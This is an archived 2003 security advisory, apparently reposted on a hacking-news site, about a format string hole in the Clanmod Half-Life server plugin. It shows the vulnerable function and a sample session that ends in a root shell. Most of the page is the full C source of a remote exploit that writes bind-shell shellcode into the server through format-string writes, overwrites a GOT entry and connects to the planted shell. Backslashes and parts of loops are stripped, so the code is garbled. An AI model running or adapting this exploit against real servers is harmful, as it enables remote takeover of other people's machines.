Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » Half-Life Clanmod remote (root) hole

Half-Life Clanmod remote (root) hole

by Nikola Strahija on January 10th, 2003 Due to a format string bug in clanmod, it is possible for a remote attacker who knows the rcon-password to remotely exploit the gameserver.


Clanmod[1] is a plugin for the "Half-Life Server", hosting
the most popular online game today, "Counter-Strike", among
others.

Overview
========

Due to a format string bug in clanmod, it is possible
for a remote attacker who knows the rcon-password to
remotely exploit the gameserver. Since most game-server-
admins I've seen are not very security-aware, the server
generally runs as root.

The rcon-password can be obtained using social engineering
or sniffing-techniques, since it is being transmitted
in plaintext. It is needed because the vulnerable function
can only be called via rcon.

Affected Versions
=================

All Clanmod versions on Windows and Linux.
Successfully tested with Clanmod 1.81.11 running on
hlds 3.1.1.0 on Linux.

Impact
======

High. Remote-shell and very likely remote-root.

Details
=======

This is a format string bug. Clanmod registers the command
"cm_log" to the halflife server, its purpose is to write a line
to the server log. This line is written using a printf-function
as seen in server.cpp:

2790 void CmdLogMessage()
2791 {
2792 if (CMD_ARGC() > 1) {
2793 UTIL_FillText((char*)CMD_ARGS()/*UTIL_GetVarArgs(1,FALSE)*/, NULL, 256,cmSet.allow_to_execute,NULL, NULL,TRUE);
2794 UTIL_LogPrintf(UTIL_VarArgs("[%s] %s",Plugin_info.logtag, com_token));
2795 }
2796 else
2797 PrintErrorInfo("cm_log");
2798
2799 //Close any opened gate
2800 cmSet.allow_to_execute_time = gpGlobals->time + 0.25;
2801 }

Line 2794: UTIL_LogPrintf gets called with a user-supplied string.
UTIL_LogPrintf itself calls vsnprintf with no further checks.

rcon-output:

log on
cm_log %08x.%08x.%08x.%08x

-> [CLANMOD] 00000000.bfff0001.433a9984.433a9964

Solution
========

Disable clanmod until a patched version becomes available.
Change the rcon-password.

Exploit
=======

Please find attached a demonstration exploit. Note that it will
only work against a Linux-server due to the exploitation technique.
This does NOT mean that Windows-servers are not vulnerable, they
still suffer from the same hole.

Sample exploitation session
===========================

[email protected]:~$ ./hoagie_clanmod localhost 27015 myprecious
hoagie_clanmod - remote exploit for hlds servers using the clanmod plugin
by [email protected]

Getting stackpop count....
Stackpops found: 71, Padding: 1
Writing shellcode.....
Connecting to the shell...
Connect to the shell
id
uid=0(root) gid=0(root) groups=0(root),101(lpadmin)
exit

Discovered by
=============

greuff

Credits
=======

void.at
everyone who was at 19c3

References
==========

[1] http://www.unitedadmins.com

==================================================================

/*****************************************************************
* hoagie_clanmod.c
*
* Remote exploit for Halflife-Servers running the Clanmod-Plugin
* (rcon-password required)
*
* Binds a shell to port 30464/tcp and connects to it.
*
* Author: [email protected]
*
* Tested on HL-Server v3.1.1.0 and ClanMod 1.81.11
*
* Credits:
* void.at
* Taeho Oh for using parts of his shellcode-connection code.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/

#include
#include
#include
#include
#include
#include
#include
#include
#include

#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "x31xc0x40x40xcdx80x89xc0x85xc0x74x06"
"x31xc0xb0x01xcdx80"
"x31xc0x31xdbx31xc9x31xd2xb0x66xb3x01x51"
"xb1x06x51xb1x01x51xb1x02x51x8dx0cx24xcd"
"x80xb3x02xb1x02x31xc9x51x51x51x80xc1x77"
"x66x51xb1x02x66x51x8dx0cx24xb2x10x52x51"
"x50x8dx0cx24x89xc2x31xc0xb0x66xcdx80xb3"
"x01x53x52x8dx0cx24x31xc0xb0x66x80xc3x03"
"xcdx80x31xc0x50x50x52x8dx0cx24xb3x05xb0"
"x66xcdx80x89xc3x31xc9x31xc0xb0x3fxcdx80"
"x41x31xc0xb0x3fxcdx80x41x31xc0xb0x3fxcd"
"x80x31xdbx53x68x6ex2fx73x68x68x2fx2fx62"
"x69x89xe3x8dx54x24x08x31xc9x51x53x8dx0c"
"x24x31xc0xb0x0bxcdx80"
"x31xc0xb0x01xcdx80";

char server_ip[20];
char rcon_pwd[30];
int server_port;

int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}

int connect_sh()
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shelln");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socketn");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shelln");
exit(0);
}
return sockfd;
}

void create_conn(int *sock, char *host, int port)
{
struct sockaddr_in sin;
struct timeval timeout;

sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

timeout.tv_sec=10;
timeout.tv_usec=0;
if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
sizeof(timeout))<0)
perror("setsockopt"),exit(1);
if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
sizeof(timeout))<0)
perror("setsockopt"),exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
char msg[2000];
struct sockaddr_in sin;
struct sockaddr_in sfrom;
fd_set fdset;
int dummy;

usleep(100);

sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);

sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);

if(reply)
{
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
{
if(errno==EAGAIN)
{
// resend message
printf("msg stalled, resending...n");
sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);
else
printf("resend OKn");
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
perror("recvfrom"),exit(1);
}
else
perror("recvfrom"), exit(1);
}

if(strncmp(msg,"xFFxFFxFFxFF",4))
fprintf(stderr,"protocol error: replyn"), exit(1);

strcpy(reply,msg+4);
}
}

void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
{
char reply[1000];
char msg[2000];

lowlevel_rcon(sock,host,port,"challenge rcon",reply);
if(!strstr(reply,"challenge rcon "))
fprintf(stderr,"protocol errorn"), exit(1);
reply[strlen(reply)-1]=0;

sprintf(msg,"rcon %s "%s" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
if(reply_fun)
lowlevel_rcon(sock,host,port,msg,reply);
else
lowlevel_rcon(sock,host,port,msg,NULL);
if(reply_fun)
strcpy(reply_fun,reply);
}

int get_padding(unsigned char c,int bytes_written)
{
int write_byte=c;
int already_written=bytes_written;
int padding;

write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;

return padding;
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
int *p4, int bytes_written)
{
// greetings to scud :-)
int write_byte;
int already_written;
int padding;

write_byte=SB1(addr);
already_written=bytes_written;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p1=padding;

write_byte=SB2(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p2=padding;

write_byte=SB3(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p3=padding;

write_byte=SB4(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p4=padding;
}

int main(int argc, char **argv)
{
int sock, stackpops, padding;
int i,j,bytes_written;
int p1,p2,p3,p4;
char cmd[1000], reply[1000];
unsigned long addr;

printf("hoagie_clanmod - remote exploit for hlds servers using the clanmod pluginn"
"by [email protected]");
if(argc!=4)
{
printf("Usage: %s server_ip server_port rcon_passwordnn",argv[0]);
exit(1);
}

strcpy(server_ip,argv[1]);
server_port=strtol(argv[2],NULL,10);
strcpy(rcon_pwd,argv[3]);

create_conn(&sock,server_ip,server_port);

printf("Getting stackpop count...");
send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
stackpops=-1;
for(padding=0;padding<4 && stackpops==-1;padding++)
{
for(i=50;i<100 && stackpops==-1;i++)
{
strcpy(cmd,"cm_log ");
for(j=0;j sprintf(reply,"AAAA%%%d$08x",i);
strcat(cmd,reply);

send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
reply[strlen(reply)-1]=0;
if(strstr(reply,"AAAA41414141"))
{
stackpops=i;
strcpy(cmd,strchr(reply,'['));
bytes_written=strlen(cmd)-8;
}
printf(".");
fflush(stdout);
}
}
padding--;
if(stackpops==-1)
{
printf("ncouldn't determine stackpop count. (I really tried hard!)n");
exit(1);
}

printf("nStackpops found: %d, Padding: %dn",stackpops,padding);

// inject shellcode
printf("Writing shellcode...");
addr=OFFSET;
for(i=0;i {
int t;
if((addr&0xFF)>0x75)
{
// leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
// distance is 0x13B-0x7A = 193d
unsigned long target=192;

strcpy(cmd,"cm_log ");
for(j=0;j t=get_padding(0xe9,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

addr++;
strcpy(cmd,"cm_log ");
for(j=0;j t=get_padding(target&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

addr++;
strcpy(cmd,"cm_log ");
for(j=0;j t=get_padding((target>>8)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

addr++;
strcpy(cmd,"cm_log ");
for(j=0;j t=get_padding((target>>16)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

addr++;
strcpy(cmd,"cm_log ");
for(j=0;j t=get_padding((target>>24)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

addr+=193;
}
else
{
// write shellcode-pieces
strcpy(cmd,"cm_log ");
for(j=0;j t=get_padding(shellcode[i],bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
i++;
}
printf(".");
fflush(stdout);
}

// overwrite GOT entry with shellcode address
strcpy(cmd,"cm_log ");
for(j=0;j get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+28);
addr=VSNPRINTF_GOT_ADDRESS;
sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
"%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
sleep(1);
close(sock);
printf("nConnecting to the shell...n");
exec_sh(connect_sh());
return 0;
}



Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »